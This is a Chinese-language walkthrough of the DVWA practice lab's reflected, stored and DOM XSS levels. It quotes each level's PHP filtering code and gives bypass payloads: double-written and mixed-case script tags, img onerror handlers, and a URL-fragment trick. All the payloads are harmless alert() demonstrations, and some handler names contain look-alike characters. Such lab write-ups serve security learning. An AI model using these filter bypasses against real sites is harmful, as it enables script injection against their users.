一、Reflected XSS
1.1Low
没有任何的过滤,直接插入我们的注入语句。
<script>alert(/hello world/)</script>
1.2medium
审计一下源码发现有了一层简单的过滤处理。
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );//匹配到该字符串就用空格替换,我们需要双写绕过,或则使用大小写绕过
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
<s<script>cript>alert(/hello world/)</sc<script>ript>
<SCript>alert(/hello world/)</sCRipt>
1.3high
代码审计,发现关于script的标签无法使用,这个时候我们只能进行标签改变进行处理。
使用img标签进行注入。
payload:<img src=0 οnerrοr=alert("Hello")>
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
1.4impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
其中使用了htmlspecialchars函数 ,将我们所输入的字符全部转化成字符串实体,不能发挥出标签的作用,所以无法注入。
二、Store XSS
2.1Low
这个场景就是模拟网络留言板的Xss注入,这里有两个对话框,我们都将我们的注入语句插入其中寻找注入点,发现注入点在我们所提交的内容<script>alert("mohe xss")</script>上,毕竟是Low所以直接过。
2.2medium
审计一下代码,发现也只是一个简单的匹配过滤而已,双写绕过即可。而且注入点是在name那里,所以我们需要使用BS抓包。(本地搭建的我不会用BS抓包,我用的是buu上的靶场)
<scr<script>ipt>alert("mohe xss")</scr<script>ipt>
注入成功!!!
2.3high
感觉和之前的差不多就是过滤掉script,我们换别的标签显示即可。
<img src=0 οnerrοr=alert("mohe xss")>
2.4impossible
和反射性Xss一样也是使用htmlspecialchars函数将我们输入地语句变为实体,也就是字符串,是我们的插入语句不能执行,变为字符串直接输出。
三、DOM XSS
3.1Low
没过滤,直接插入。
3.2medium
审计代码,告诉我们输入的参数中有<script,即失败,所以我们绕过即可,换个标签插入。
</option></select><img src=1 οnerrοr=alert("xss")>,并且在输入的过程中要进行闭合处理。不然还是无法显示出我们注入的内容。
3.3high
这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行。所以我们进行尝试
default=English#<script>alert("xss")</script>
3.4impossible
Don't need to do anything, protction handled on the client side!!!